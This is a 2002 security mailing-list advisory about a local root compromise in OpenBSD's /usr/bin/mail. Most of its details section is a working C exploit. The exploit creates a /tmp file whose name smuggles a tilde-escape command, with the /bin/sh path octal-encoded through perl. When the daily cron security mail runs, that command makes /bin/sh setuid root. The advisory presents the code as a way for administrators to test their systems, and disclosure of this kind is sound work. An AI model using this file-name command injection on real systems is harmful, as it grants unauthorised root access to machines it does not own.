[EXPL] /usr/bin/mail OpenBSD Local Root Compromise (Escaping Tilde, Exploit)

From: support@securiteam.com
Date: 04/14/02 

From: support@securiteam.com
To: list@securiteam.com
Date: Sun, 14 Apr 2002 22:35:40 +0200 (CEST)

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  /usr/bin/mail OpenBSD Local Root Compromise (Escaping Tilde, Exploit)
------------------------------------------------------------------------

SUMMARY

The program /usr/bin/mail is a simple mail user agent that can be used
also in the batch mode, for example to send mail to the administrator when
running cron tasks. There is a local root compromise in all versions of
OpenBSD including OpenBSD Current prior to April 9, 2002 due to a bug in
program /usr/bin/mail. The following is an exploit code that can be used
by administrators to verify whether they are vulnerable or not.

For additional information on this vulnerability, please see our previous
article:
 <http://www.securiteam.com/unixfocus/5ZP0G156UK.html> /usr/bin/mail
OpenBSD Local Root Compromise (Escaping Tilde)

DETAILS

Exploit:
/*
 * (c) 2002 venglin@freebsd.lublin.pl
 *
 * OpenBSD 3.0 (before 08 Apr 2002)
 * /etc/security + /usr/bin/mail local root exploit
 *
 * Run the exploit and wait for /etc/daily executed from crontab.
 * /bin/sh will be suid root next day morning.
 *
 * Credit goes to urbanek@openbsd.cz for discovering vulnerability.
 *
 */

#include <fcntl.h>

int main(void)
{
int fd;

chdir("/tmp");
fd = open("\n~!chmod +s `perl -e 'print
\"\\057\\142\\151\\156\\057\\163\\150\"'`\n", O_CREAT|O_WRONLY, 04777);

if (fd)
close(fd);
}

ADDITIONAL INFORMATION

The information has been provided by <mailto:venglin@freebsd.lublin.pl>
Przemyslaw Frasunek.

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